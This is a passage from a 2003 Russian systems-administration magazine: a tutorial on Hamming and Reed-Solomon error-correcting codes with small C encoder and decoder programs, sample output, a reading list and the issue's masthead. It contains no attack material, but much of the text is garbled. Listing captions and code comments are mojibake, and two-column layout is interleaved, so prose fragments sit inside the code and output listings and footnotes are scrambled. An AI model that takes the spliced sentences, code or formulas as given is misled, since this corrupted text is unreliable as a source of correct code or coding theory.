нового символа (обозначим его k), причем расстояние Хем-
тельно сличает искаженный символ со всеми разрешен-
ными символами алфавита, стремясь найти символ наи-
более «похожий» на искаженный. Точнее, символ с наи-
меньшим числом различий, а еще точнее, символ, отли-
чающийся от искаженного не более чем в (d – 1) позици-
ях. Легко видеть, что в данном случае нам повезло, и вос-
становленный символ совпал с истинным. Однако если
бы четыре искаженных бита распределились бы так:
«0111111111», то декодер принял бы этот символ за
«1111111111» и восстановление оказалось бы неверным.
Таким образом, исправляющая способность кода опреде-
ляется по следующей формуле: для обнаружения r ошибок
расстояние Хемминга должно быть больше или равно r, а для
коррекции r ошибок расстояние Хемминга должно быть по
крайней мере на единицу больше удвоенного количества r.
Ëèñòèíã 5. Êîððåêòèðóþùèå ñïîñîáíîñòè ïðîñòîãî êîäà Õåììèíãà.
îáíàðóæåíèå îøèáîê: d ≥ r
èñïðàâëåíèå îøèáîê: d > 2r
èíôîðìàöèîííàÿ åìêîñòü: 2n/d
Теоретически количество обнаруживаемых ошибок
неограничено, практически же информационная емкость
кодовых слов стремительно тает с ростом d. Допустим, у
нас есть 24 байта данных, и мы хотели бы исправлять до
двух ошибок на каждый такой блок. Тогда нам придется
добавить к этому блоку еще 49 байт, в результате чего
реальная информационная емкость блока сократится все-
го… до 30%! Хорошенькая перспектива, не так ли? Столь
плачевный результат объясняется тем, что биты кодового
слова изолированы друг от друга и изменение одного из
них никак не сказывается на окружающих. А что если…
Пусть все биты, номера которых есть степень двойки,
станут играть роль контрольных битов, а оставшиеся и бу-
дут обычными («информационными») битами сообщения.
Каждый контрольный бит должен отвечать за четность сум-
мы2 некоторой принадлежащей ему группы битов, причем
один и тот же информационный бит может относиться к
различным группам. Тогда один информационный бит смо-
жет влиять на несколько контрольных и потому информа-
ционная емкость слова значительно (можно даже сказать,

90

чудовищно) возрастет. Остается только выбрать наиболее
оптимальное разделение сфер влияния.
Согласно методу помехозащитного кодирования, предло-
женного Хеммингом, для того чтобы определить, какие конт-
рольные биты контролируют информационный бит, стоящий
в позиции k, мы должны разложить k по степеням двойки:
Òàáëèöà 1. Ðàçäåëåíèå áèò íà êîíòðîëüíûå è èíôîðìàöèîííûå.
образование
трольный бит при желании может быть легко восстанов-
лен по методике, уже описанной выше (только есть ли в
этом смысл? ведь контрольные биты все равно «выкусы-
ваются» в процессе декодирования кодового слова).
На первый взгляд кажется, что коды Хемминга жутко не-
эффективны, ведь на 4 информационных бита у нас прихо-
дится 3 контрольных, однако поскольку номера контрольных
бит представляют собой степень двойки, то с ростом раз-
рядности кодового слова они начинают располагаться все
реже и реже. Так, ближайший к биту C контрольный бит D
находится в позиции 8 (т.е. в трех шагах), зато контрольный
бит E отделен от бита D уже на (24 - 23 - 1) = 7 «шагов», а
контрольный бит F и вовсе на (25 - 24 - 1) = 15 «шагов».
Таким образом, с увеличением разрядности обрабаты-
ваемого блока, эффективность кодов Хемминга стремитель-
но нарастает, что и показывает следующая программа:

Давайте в порядке закрепления материала попробу- Ëèñòèíã 7. Ðàñ÷åò ýôôåêòèâíîé èíôîðìàöèîííîé åìêîñòè êîäîâ
Õåììèíãà äëÿ ñëîâ ðàçëè÷íîé äëèíû.
ем пощупать коды Хемминга «вживую» и вручную рас-
считаем контрольную сумму 4-битного символа «0101». main()
{
После резервирования «квартир» для контрольных битов int a;
(выделенных в тексте жирным шрифтом) наш символ бу- int _pow = 1;
int old_pow = 1;
дет выглядеть так: AB0C101D. Теперь остается только рас- int N, old_N = 1;
считать значения битов A, B, C и D:
printf( "* * * hamming code efficiency test * * * ↵

Бит A, контролирующий биты 3, 5 и 7 равен нулю, т.к. by Kris Kaspersky\n"\
их сумма (0 + 1 + 1) четна. " BLOCK_SIZE FUEL UP EFFICIENCY\n"\
"-----------------------------------\n");

Бит B, контролирующий биты 3, 6 и 7 равен одному, for (a = 0; a < MAX_POW; a++)
т.к. их сумма (0 + 0 + 1) нечетна. {
N = _pow - old_pow - 1 + old_N;

Бит C, контролирующий биты 5, 6 и 7 равен нулю, т.к.
их сумма (1 + 0 + 1) четна. printf("%8d %8d %8.1f%%\n",_pow, N, (float) ↵
N/_pow*100);

Бит D никакой роли не играет, т.к. он контролирует лишь
те биты, которые расположены справа от него, а ника- // NEXT
old_pow = _pow; _pow = _pow * 2; old_N = N;
ких битов справа от него уже и нет. И приведен он лишь
затем, чтобы получить 8 бит – общепринятый байт. } printf("-----------------------------------\n");
}

Таким образом, «новоиспеченное» кодовое слово бу- Ëèñòèíã 8. Ðåçóëüòàò ðàñ÷åòà ýôôåêòèâíîé èíôîðìàöèîííîé
åìêîñòè êîäîâ Õåììèíãà äëÿ ñëîâ ðàçëè÷íîé äëèíû.
дет выглядеть так: «0100101», где жирным шрифтом вы-
делены контрольные биты. BLOCK_SIZE FUEL UP EFFICIENCY
-----------------------------------
1 0 0.0%
Ëèñòèíã 6. Êîäîâîå ñëîâî âìåñòå ñ èíôîðìàöèîííûìè áèòàìè. 2 0 0.0%
4 1 25.0%
AB0C101D 8 4 50.0%
12345678 16 11 68.8%
32 26 81.3%
64 57 89.1%
Допустим, при передаче наше слово было искажено в 128 120 93.8%
256 247 96.5%
одной позиции и стало выглядеть так: 0100111. Сможем ли 512 502 98.0%
мы обнаружить такую ошибку? А вот сейчас и проверим! 1024 1013 98.9%
2048 2036 99.4%
Так, бит A должен быть равен: (0 + 1 + 1) % 2 = 0, что соответ- 4096 4083 99.7%
ствует истине. Бит B должен быть равен (0 + 1 + 1) % 2 = 0, а 8192 8178 99.8%
16384 16369 99.9%
в нашем слове он равен единице. Запомним номер «непра- 32768 32752 100.0%
вильного» контрольного бита и продолжим. Бит C должен 65536 65519 100.0%
131072 131054 100.0%
быть равен (1 + 1 + 1) % 2 = 1, а он равен нулю! Ага, значит, 262144 262125 100.0%
контрольные биты в позициях 2 (бит B) и 4 (бит C) обнаружи- 524288 524268 100.0%
-----------------------------------
вают расхождение с действительностью. Их сумма (2 + 4 = 6)
и дает позицию сбойного бита. Действительно, в данном слу- Из приведенной выше распечатки видно, что при об-
чае номер искаженного бита равен 6, инвертируем его, тем работке блоков, дотягивающихся хотя бы до 1024 бит, на-
самым восстанавливая наше кодовое слово в исходный вид. кладными расходами на контрольные биты можно полно-
А что если искажение затронет не информационный, стью пренебречь.
а контрольный бит? Проверка показывает, что позиция К сожалению, коды Хемминга способны исправлять
ошибки успешно обнаруживается и в этом случае, и кон- лишь одиночные ошибки, т.е. допускают искажение всего

№8(9), август 2003 91

 образование
лишь одного сбойного бита на весь обрабатываемый блок.
Естественно, с ростом размеров обрабатываемых блоков
увеличивается и вероятность ошибок. Поэтому выбор оп-
тимальной длины кодового слова является весьма нетри-
виальной задачей, как минимум требующей знания харак-
тера и частоты возникновения ошибок используемых ка-
налов передачи информации. В частности, для ленточных
накопителей, лазерных дисков, винчестеров и тому подоб-
ных устройств коды Хемминга оказываются чрезвычайно
неэффективными. Зачем же тогда мы их рассматривали?
А затем, что понять прогрессивные системы кодирования
(к которым в том числе относятся и коды Рида-Соломона),
ринувшись атаковать их «с нуля», практически невозмож-
но, ибо они завязаны на сложной, действительно высшей
математике, но ведь не Боги горшки обжигают, верно?
Идея кодов Рида-Соломона
Если говорить упрощенно, то основная идея помехозащит-
ного кодирования Рида-Соломона заключается в умноже-
нии информационного слова, представленного в виде
полинома D, на неприводимый полином G3, известный
обеим сторонам, в результате чего получается кодовое
слово C, опять-таки представленное в виде полинома.
Декодирование осуществляется с точностью до наобо-
рот: если при делении кодового слова C на полином G де-
кодер внезапно получает остаток, то он может рапортовать
наверх об ошибке. Соответственно, если кодовое слово
разделилось нацело, его передача завершилась успешно.
Если степень полинома G (называемого так же порож-
дающим полиномом) превосходит степень кодового сло-
ва по меньшей мере на две степени, то декодер может не
только обнаруживать, но и исправлять одиночные ошиб-
ки. Если же превосходство степени порождающего поли-
нома над кодовым словом равно четырем, то восстанов-
лению поддаются и двойные ошибки. Короче говоря, сте-
пень полинома k связана с максимальным количеством
исправляемых ошибок t следующим образом: k = 2∗t. Сле-
довательно, кодовое слово должно содержать два допол-
нительных символа на одну исправляемую ошибку. В то
же время максимальное количество распознаваемых
ошибок равно t, т.е. избыточность составляет один сим-
вол на каждую распознаваемую ошибку.
В отличие от кодов Хемминга, коды Рида-Соломона мо-
гут исправлять любое разумное количество ошибок при
вполне приемлемом уровне избыточности. Спрашиваете,
за счет чего это достигается? Смотрите, в кодах Хемминга
контрольные биты контролировали лишь те информацион-
ные биты, что находятся по правую сторону от них и игно-
рировали всех «левосторонних» товарищей. Обратимся к
таблице 1: добавление восьмого контрольного бита D ни-
чуть не улучшило помехозащищенность кодирования, по-
скольку контрольному биту D было некого контролировать.
В кодах же Рида-Соломона контрольные биты распростра-
няют свое влияние на все информационные биты и потому
с увеличением количества контрольных бит увеличивает-
ся и количество распознаваемых/устраняемых ошибок.
Именно благодаря последнему обстоятельству, собствен-
но, и вызвана ошеломляющая популярность корректирую-
щих кодов Рида-Соломона.
92
Теперь о грустном. Для работы с кодами Рида-Соломо-
на обычная арифметика, увы, не подходит и вот почему. Ко-
дирование предполагает вычисления по правилам действия
над многочленами, с коэффициентами которых надо выпол-
нять операции сложения, вычитания, умножения и деления,
причем все эти действия не должны сопровождаться каким-
либо округлением промежуточных результатов (даже при
делении!), чтобы не вносить неопределенность. Причем и
промежуточные, и конечные результаты не имеют права
выходить за пределы установленной разрядной сетки…
«Постойте! – воскликнет внимательный читатель. – Да ведь
это невозможно! Чтобы при умножении и не происходило
«раздувания» результатов, кто же в этот бред поверит?!»
Впрочем, если как следует подумать головой, частич-
но призвав на помощь и другие части тела, можно сооб-
разить, что умножать информационное слово на порож-
дающий полином вовсе не обязательно, можно поступить
гораздо хитрее:

Добавляем к исходному информационному слову D
справа k нулей, в результате чего у нас получается сло-
во длины n = m + r и полином Xr∗D, где m – длина ин-
формационного слова.

Делим полученный полином Xr∗D на порождающий по-
лином G и вычисляем остаток от деления R, такой что:
Xr∗D = G∗Q + R, где Q – частное, которое мы благопо-
лучно игнорируем за ненадобностью, – сейчас нас ин-
тересует только остаток.

Добавляем остаток R к информационному слову D, в ре-
зультате чего получаем симпатичное кодовое слово C,
информационные биты которых хранятся отдельно от
контрольных бит. Собственно, тот остаток, который мы
получили в результате деления, и есть корректирующие
коды Рида-Соломона. Между нами говоря, способ коди-
рования, при котором информационные и контрольные
символы хранятся раздельно, называется систематичес-
ким кодированием и такое кодирование весьма удобно
с точки зрения аппаратной реализации.

Мысленно прокручиваем предыдущие пункты, пытаясь
обнаружить, на какой же стадии вычислений происходит
выход за разрядную сетку и… такой стадии нет! Остает-
ся лишь отметить, что информационное слово + коррек-
тирующие коды можно записать как: T = Xr∗D + R = G∗Q.
Декодирование полученного слова T осуществляется
точно так же, как уже и было описано ранее. Если при де-
лении T (которое в действительности является произведе-
нием G на Q) на порождающий полином G образуются ос-
таток, то слово T искажено и, соответственно, наоборот.
Теперь вопрос на засыпку. Как вы собираетесь осуще-
ствлять деление полиномов в рамках общепринятой алгеб-
ры? В целочисленной арифметике деление определено не
для всех пар чисел (вот, в частности, 2 нельзя разделить
на 3, а 9 нельзя разделить на 4, без потери значимости,
естественно). Что же касается «плавучки», то ее точность
еще та (в смысле точность катастрофически недостаточ-
ная для эффективного использования кодов Рида-Соло-
мона), к тому же она достаточно сложна в аппаратной реа-
лизации. Ладно, в IBM PC с процессором Pentium быстро-
действующий математический сопроцессор всем нам дан

по дефолту, но что делать разработчикам ленточных нако-
пителей, винчестеров, CD-приводов, наконец? Пихать в них
четвертый Пень?! Нет уж, увольте, лучше воспользоваться
специальной арифметикой – арифметикой конечных групп,
называемых полями Галуа. Достоинство этой арифметики
в том, что операции сложения, вычитания, умножения и
деления определены для всех членов поля (естественно,
исключая ситуацию деления на ноль), причем число, полу-
ченное в результате любой из этих операций, обязательно
присутствует в группе! Т.е. при делении любого целого
числа A, принадлежащего множеству 0…255, на любое
целое число B из того же множества (естественно, B не
должно быть равно нулю), мы получим число C, входящее
в данное множество. А потому потерь значимости не про-
исходит, и никакой неопределенности не возникает!
Таким образом, корректирующие коды Рида-Соломо-
на основаны на полиномиальных операциях в полях Га-
луа и требуют от программиста владения сразу несколь-
кими аспектами высшей математики из раздела теории
чисел. Как и все «высшее», придуманное математиками,
поля Галуа есть абстракция, которую невозможно ни на-
глядно представить, ни «пощупать» руками. Ее просто
надо принять как набор аксиом, не пытаясь вникнуть в
его смыл, достаточно всего лишь знать, что она работа-
ет, вот и все. А еще есть полиномы немеряных степеней
и матрицы в пол-Европы, от которых нормальный систем-
щик не придет в восторг (увы, программист-математик
скорее исключение, чем правило).
Поэтому, прежде чем ринуться в непроходимые джун-
гли математического леса абстракций, давайте сконст-
руируем макет кодера/декодера Рида-Соломона, работа-
ющий по правилам обычной целочисленной алгебры. Ес-
тественно, за счет неизбежного в этом случае расшире-
ния разрядной сетки такому кодеру/декодеру будет очень
трудно найти практическое применение, но… зато он на-
гляден и позволяет не только понять, но и почувствовать
принцип работы корректирующих кодов Рида-Соломона.
Мы будем исходить из того, что если g = 2n + 1, то для
любого a из диапазона 0…2n, произведение a∗g = c (где
с – кодовое слово), будет представлять, по сути, полную
мешанину битов обоих исходных чисел.
Допустим n = 2, тогда g = 3. Легко видеть: на что бы мы
не умножали g – хоть на 0, хоть на 1, хоть на 2, хоть на – 3,
полученный результат делится нацело на g в том и только
том случае, если никакой из его бит не инвертирован (то
есть, попросту говоря, одиночные ошибки отсутствуют).
Остаток от деления однозначно указывает на пози-
цию ошибки (при условии, что ошибка одиночная, груп-
повые же ошибки данный алгоритм исправлять не спо-
собен). Точнее, если ошибка произошла в позиции x, то
остаток от деления k будет равен k = 2x. Для быстрого
определения x по k можно воспользоваться тривиаль-
ным табличным алгоритмом. Впрочем, для восстанов-
ления сбойного бита знать его позицию совершенно нео-
бязательно, достаточно сделать R = e ^ k, где e – иска-
женное кодовое слово, ^ – операция XOR, а R – восста-
новленное кодовое слово.
В общем, законченная реализация кодера/декодера
может выглядеть так:
№8(9), август 2003
образование
Ëèñòèíã 9. Ïðîñòåéøèé ïðèìåð ðåàëèçàöèè êîäåðà/äåêîäåðà Ðèäà-
Ñîëîìíà, ðàáîòàþùåãî ïî îáû÷íîé àðèôìåòèêå (ò.å. ñ íåîïðàâ-
äàííûì ðàñøèðåíèåì ðàçðÿäíîé ñåòêè), è èñïðàâëÿþùèì ëþáûå
îäèíî÷íûå îøèáêè â îäíîì 8-áèòíîì èíôîðìàöèîííîì ñëîâå (âïðî-
÷åì, ïðîãðàììó ëåãêî àäàïòèðîâàòü è ïîä 16-áàéòîâûå èíôîð-
ìàöèîííûå ñëîâà). Îáðàòèòå âíèìàíèå, ÷òî êîäåð ðåàëèçóåòñÿ
÷óòü ëè íå íà ïîðÿäîê ïðîùå äåêîäåðà. Â íàñòîÿùåì äåêîäåðå
Ðèäà-Ñîëîìíà, ñïîñîáíîì èñïðàâëÿòü ãðóïïîâûå îøèáêè, ýòîò
ðàçðûâ åùå çíà÷èòåëüíåå.
// ÂÍÈÌÀÍÈÅ! äàííûé êîäåð/äåêîäåð ïîñòðîåí íà îñíîâå
// îáû÷íîé àðèôìåòèêè, íå àðèôìåòèêè ïîëåé Ãàëóà,
// â ðåçóëüòàòå ÷åãî åãî ïðàêòè÷åñêèå âîçìîæíîñòè áîëåå
// ÷åì îãðàíè÷åíû, òåì íå ìåíåå îí íàãëÿäåí è óäîáåí äëÿ
// èçó÷åíèÿ
#include <stdio.h>
// øèðèíà âõîäíîãî èíôîðìàöèîííîãî ñèìâîëà (áèò)
#define SYM_WIDE 8
// âõîäíûå äàííûå (îäèí áàéò)
#define DATAIN 0x69
// íîìåð áèòà, êîòîðûé áóäåò ðàçðóøåí ñáîåì
#define ERR_POS 3
// íåïðèâîäèìûé ïîëèíîì
#define MAG (1<<(SYM_WIDE*1) + 1<<(SYM_WIDE*0))
// ------------------------------------------------------
// îïðåäåëåíèå ïîçèöèè îøèáêè x ïî îñòàòêó k îò äåëåíèÿ
// êîäîâîãî ñëîâà íà ïîëèíîì k = 2^x, ãäå "^" – âîçâåäåíèå
// â ñòåïåíü; ôóíêöèÿ ïðèíèìàåò k è âîçâðàùàåò x
// ------------------------------------------------------
int pow_table[9] = {1,2,4,8,16,32,64,128,256};
lockup(int x) {int a;for(a=0;a<9;a++) ↵
if(pow_table[a]==x)return a; return -1;}
main()
{
int i; int g; int c; int e; int k;
fprintf(stderr,"simplest Reed-Solomon endoder/decoder ↵
by Kris Kaspersky\n\n");
// âõîäíûå äàííûå (èíôîðìàöèîííîå ñëîâî)
i = DATAIN;
// íåïðèâîäèìûé ïîëèíîì
g = MAG;
printf("i = %08x DATAIN)\ng = %08x ↵
(POLYNOM)\n", i, g);
// ÊÎÄÅÐ ÐÈÄÀ-ÑÎËÎÌÎÍÀ (ïðîñòåéøèé, íî âñå-òàêè êîå-êàê
// ðàáîòàþùèé).
// Âû÷èñëÿåì êîäîâîå ñëîâî, ïðåäíàçíà÷åííîå äëÿ ïåðåäà÷è
c = i * g; printf("c = %08x (CODEWORD)\n", c);
// êîíåö ÊÎÄÅÐÀ
// ïåðåäàåì ñ èñêàæåíèÿìè
e = c ^ (1<<ERR_POS); printf("e = %08x ↵
(RAW RECIVED DATA+ERR)\n\n", e);
/* ^^^^ èñêàæàåì îäèí áèò, èìèòèðóÿ îøèáêó ïåðåäà÷è */
// ÄÅÊÎÄÅÐ ÐÈÄÀ-ÑÎËÎÌÎÍÀ
// ïðîâåðÿåì íà íàëè÷èå îøèáîê ïåðåäà÷è
// (ôàêòè÷åñêè ýòî ïðîñòåéøèé äåêîäåð Ðèäà-Ñîëîìîíà)
if (e % g)
{
// îøèáêè îáíàðóæåíû, ïûòàåìñÿ èñïðàâèòü
printf("RS decoder says: (%x) ↵
error detected\n{\n", e % g);
// k = 2^x, ãäå x - ïîçèöèÿ ñáîéíîãî áèòà
k = (e % g);
printf("\t0 to 1 err position: %x\n", lockup(k));
printf("\trestored codeword is: %x\n}\n", (e ^= k));
}
printf("RECEIVED DATA IS: %x\n", e / g);
// ÊÎÍÅÖ ÄÅÊÎÄÅÐÀ
}
Ëèñòèíã 10. Ðåçóëüòàò ðàáîòû ïðîñòåéøåãî êîäåðà/äåêîäåðà Ðèäà-
Ñîëîìîíà. Îáðàòèòå âíèìàíèå: èñêàæåííûé áèò óäàëîñü óñïåøíî
èñïðàâèòü, îäíàêî äëÿ ýòîãî ê èñõîäíîìó èíôîðìàöèîííîìó ñëîâó
ïðèøëîñü äîáàâèòü íå äâà, à öåëûõ òðè áèòà (åñëè âû âîçüìåòå â
êà÷åñòâå âõîäíîãî ñëîâà ìàêñèìàëüíî äîïóñòèìîå 8-áèòíîå çíà÷å-
íèå 0xFF, òî êîäîâîå ñëîâî áóäåò ðàâíî 0x1FE00, à òàê êàê 210 =
10000, òî ñâîáîäíûõ ðàçðÿäîâ óæå íå õâàòàåò è ïðèõîäèòñÿ óâåëè-
÷èâàòü ðàçðÿäíóþ ñåòêó äî 211, â òî âðåìÿ êàê ìëàäøèå áèòû
êîäîâîãî ñëîâà ôàêòè÷åñêè îñòàþòñÿ íåçàäåéñòâîâàííûìè è "ïðà-
93
 образование
âèëüíûé" êîäåð äîëæåí èõ "çàêîëüöåâàòü", ãðóáî ãîâîðÿ çàìêíóâ
îáðàáàòûâàåìûå ðàçðÿäû íà ìàíåð êîëüöà.
i = 00000069 (DATAIN)
g = 00000200 (POLYNOM)
c = 0000d200 (CODEWORD)
e = 0000d208 (RAW RECIVED DATA+ERR)
RS decoder says: (8) error detected
{ исправления ошибок добавляет новые. Поэтому данный
0 to 1 err position: 3
restored codeword is: d200
} стам GNU кодера/декодера Reed-Solomon. Вот и верь пос-
RECEIVED DATA IS: 69
Заключение
Вот мы и познакомились с азами кодирования информации
и разобрались с основными идеями, лежащими в основе по-
строения помехозащитных кодов. Следующая статья этого
Что читать
Несмотря на то что данный цикл статей является вполне
самодостаточным и весь минимально необходимый мате-
матический аппарат излагает самостоятельно без отсылок
к сторонней литературе, желание углубить свои знания
вполне естественно и его можно только приветствовать. А
потому будет лучше, если вы не ограничитесь одной этой
статьей, а перевернете целые горы специализированной
литературы, с каждым разом все больше и больше ужаса-
ясь глубине той пропасти, что отделяет ваши поверхност-
ные представления от действительно настоящих знаний.
Теория помехоустойчивого кодирования столь обширна, что
для ее изучения потребуется как минимум целая жизнь.
1. Blahut Richard. Theory and Practice of Error Control Codes.
Mass.: Addison-Wesley, 1983. – Очень хорошая книжка
из категории «must have»; по слухам, есть в электрон-
ном виде в сети, однако, к сожалению, самой книжки
я так и не нашел, но тучи ссылок на нее убедительно
свидетельствуют о высоком качестве последней. Так-
же имеется ее русскоязычный перевод, выпущенный
издательством «Мир» (см. ниже).
2. Блейхут Р. Теория и практика кодов, контролирующих
ошибки. М.: Мир, 1986. – 576с. – Технически грамот-
ный и добротный перевод уже упомянутой выше кни-
ги Блейхута (ах, какие в издательстве Мир были пере-
водчики!), электронной копии в сети, к сожалению, нет.
3. James Plank. A tutorial on Reed-Solomon Coding for fault-
tolerance in RAID-like systems. – Неплохое руководство
по использованию кодов Рида-Соломона для построе-
ния отказоустойчивых RAID-подобных систем, ориенти-
рованное на математически неподготовленных систем-
ных программистов и доходчиво объясняющее суть по-
мехоустойчивого кодирования с примерами исходных
текстов на Си. Электронная копия доступна по адресу:
http://www.cs.utk.edu/~plank/plank/papers/CS-96-332.pdf.
Настоятельно рекомендую прочитать, даже если вы и
не собираетесь заниматься сборкой RAID.
4. Joel Sylvester. Reed Solomon Codes. – Предельно крат-
ное описание принципов работы кодов Рида-Соломона с
блок-схемами вместо исходных текстов. На практическое
руководство не тянет, но общую картину все-таки дает,
почитайте: http://www.elektrobit.co.uk/pdf/reedsolomon.pdf.
5. Tom Moore. REED-SOLOMON PACKAGE. (old tutorial). – Рос-
94
цикла подробно расскажет о превратностях полиномиальной
арифметики и (о ужас!) полях Галуа. Затем, на фундаменте
данного математического аппарата, мы сможем возвести
дворец отказоустойчивых RAID-систем, да и не только их…
1
«…Из-за ошибок в реализации данный код вместо
код больше недоступен» – комментарий к исходным тек-
ле этого в надежность Linux в целом и в GNU’тый библио-
течный код в частности.
2
Если сумма проверяемых бит четна, то контрольный
бит равен нулю и, соответственно, наоборот.
3
Полином, который не разлагается в произведение по-
линомов меньшей степени.
кошный сборник разнообразных руководств по кодам
Рида-Соломона, наверное, лучший из всех, что я видел.
Включает в себя кратное описание основ теории полей
Галуа, базовые принципы построения кодеров/декодеров
Рида-Соломона и законченные примеры реализации са-
мих кодеров/декодеров на языке Си (правда, недостаточ-
но добросовестно прокомментированные). Сей stuff нео-
днократно промелькивал в ФИДО и последний раз постил-
ся 28 декабря 1994 года в конференции comp.compression.
Его легко найти в «Google» по ключевым словам «Reed-
Solomon+main+ECC». Настоятельно рекомендую.
6. Ross N.Williams. A painless guide to CRC error detection
algorithms. – Подробное руководство по CRC, полезное до-
статочно внятным и доступным описанием полиномиаль-
ной арифметики, без которой работа с кодами Рида-Со-
ломона просто немыслима. Доступно в электронной фор-
ме по следующему адресу: ftp://www.internode.net.au/clients/
rocksoft/papers/crc_v3.txt. Также имеется его неплохой пе-
ревод на русский язык, легко отыскивающийся в сети по
запросу «Элементарное руководство по CRC-алгоритмам
обнаружения ошибок». Настоятельно рекомендую.
7. ftape (драйвер ленточного накопителя из дистрибутива
Linux). – Ну какая же запись на магнитную ленту обхо-
дится без корректирующих кодов? Представить себе та-
кое, довольно затруднительно. Поэтому анализ исходных
текстов драйверов ленточных накопителей дает доволь-
но-таки богатую пищу для размышлений (при условии,
конечно, что исследуемый драйвер действительно ис-
пользует коды Рида-Соломона, а не что-нибудь другое).
Драйвер ftape как раз и является тем драйвером, что вам
нужен, а непосредственно сам код, ответственный за ко-
дирование/декодирование кодов Рида-Соломона выне-
сен в файл ftape-ECC.c/ftape-ECC.h. Это достаточно ак-
куратный, хорошо структурированный и даже местами
слегка комментируемый код, также рекомендую.
8. James S. Plank GFLIB. C Procedures for Galois Field
Arithmetic and Reed-Solomon Coding. – Библиотечка для
работы с кодами Рида-Соломона. Содержит в себе пол-
ные исходные тексты всех необходимых функций и рас-
пространяется по лицензии GPL. Найти ее можно на лю-
бом GNU-сайте, например, здесь: http://www.cs.utk.edu/
~plank/plank/gflib/gflib.tar.
 подписка

Альтернативная подписка: ООО «Интер-Почта» по тел. (095) 500-00-60

Курьерская доставка по Москве
Открыта редакционная подписка на II полугодие 2003 г.
Информация на сайте www.samag.ru в разделе «Подписка»

81655

Единый
подписной
индекс:

81655
по каталогу 81655
агентства
«Роспечать»

Рады видеть
Вас нашими
читателями!

№8(9), август 2003 95

 СИСТЕМНЫЙ АДМИНИСТРАТОР
№8(9), Август, 2003 год
РЕДАКЦИЯ
Исполнительный директор
Владимир Положевец
Ответственный секретарь
Наталья Хвостова
sekretar@samag.ru
Технический редактор
Владимир Лукин
РЕКЛАМНАЯ СЛУЖБА
тел.: (095) 928-8253 (доб. 112)
факс: (095) 928-8253
Константин Меделян
reсlama@samag.ru
Верстка и оформление
imposer@samag.ru
maker_up@samag.ru
Дизайн обложки
Николай Петрочук
103012, г. Москва,
Ветошный переулок, дом 13/15
тел.: (095) 928-8253 (доб. 112)
факс: (095) 928-8253
Е-mail: info@samag.ru
Internet: www.samag.ru
РУКОВОДИТЕЛЬ ПРОЕКТА
Петр Положевец
УЧРЕДИТЕЛИ
Владимир Положевец
Александр Михалев
ИЗДАТЕЛЬ
ЗАО «Издательский дом
«Учительская газета»
Отпечатано типографией
ООО «Мастер Печати»
Тираж 5500 экз.
Журнал зарегистрирован
в Министерстве РФ по делам печати,
телерадиовещания и средств мас-
совых коммуникаций (свидетельство
ПИ № 77-12542 от 24 апреля 2002г.)
За содержание статьи ответственность
несет автор. За содержание рекламно-
го обьявления ответственность несет
рекламодатель. Все права на опубли-
кованные материалы защищены. Ре-
дакция оставляет за собой право изме-
нять содержание следующих номеров.
96
ЧИТАЙТЕ
В СЛЕДУЮЩЕМ
НОМЕРЕ:
Работа с жестким диском
на программном уровне
В номере 3(4) журнала "Системный
администратор" была опубликована
статья Алексея Серебрякова "Основы
систем хранения данных". В продол-
жение данной темы давайте рассмот-
рим, как осуществить доступ к IDE-
диску на программном уровне при
помощи файла устройства и через
порты ATA-контроллера.
Работа с базами данных
на Perl
В наше время базы данных широко
используются в разных сферах чело-
веческой жизни. Самые простые базы
данных – это просто файлы опреде-
ленной структуры, а сложные – это
файлы, имеющие свой формат дан-
ных и, естественно, определенную
структуру. В данной статье я рассмот-
рю работу с базами данных на языке
программирования Perl.
Рецепты правильного
трудоустройства
Относительно рынка труда в России
существует два мнения: пациент ско-
рее жив, чем мертв, и пациент скорее
мертв, чем жив. Лично я считаю, что
в сфере информационных технологий
реализовать свой потенциал в России
намного проще, чем во всех осталь-
ных странах мира вместе взятых. Не-
достаток квалифицированной рабо-
чей силы у нас просто колоссальный
и трудоустроиться в этой обстановке
очень легко. Правда, в отличие от за-
падных стран, цивилизованного рын-
ка труда в России как не было, так и
нет, и потому механизмы трудоуст-
ройства, которые хорошо работают
«там», у нас вращаются со скрипом
или не вращаются вообще.
И если вам до чертиков надоело
заполнять эти шаблонные резюме и
вы хотите попробовать другие, – бо-
лее действенные методы, эта статья
для вас!
Искажение TOC
как средство борьбы
с несанкционированным
копированием диска
Искажение TOC – жестокий, уродли-
вый, но на удивление широко рас-
пространенный прием, использую-
щийся в доброй половине защитных
механизмов. Штатные копировщики
на таких дисках в буквальном смыс-
ле слова сходят с ума и едут кры-
шей. Копировщики защищенных
дисков (Clone CD, Alcohol 120%) к
искаженному TOC относятся гораз-
до лояльнее, но требуют для своей
работы определенного сочетания
пишущего и читающего приводов,
да и в этом случае копируют такой
диск не всегда.
Виртуальный полигон
для администратора
и разработчика
Мне, как и многим другим админи-
страторам, приходится постоянно
разрабатывать способы интеграции
между собой разных служб и при-
ложений. Иногда для проверки того
или иного решения нужна всего
лишь одна машина. А что прикаже-
те делать, если нужно имитировать
работу одной или нескольких свя-
занных между собой локальных се-
тей? В данном случае у нас есть
два варианта действий.
Первый – по старинке взять за-
валявшийся на складе коммутатор
и из старых машин собрать малень-
кую сеть.
Второй вариант гораздо проще
и удобнее. Все что нам понадобит-
ся – это компьютер средней мощно-
сти. Наши тестовые сети и все ком-
пьютеры, находящиеся в них, мы
создадим внутри комплекса вирту-
альных машин vmware.
В этой статье мы поговорим о
том, как сполна воспользоваться
техническим могуществом, предос-
тавляемым vmvare.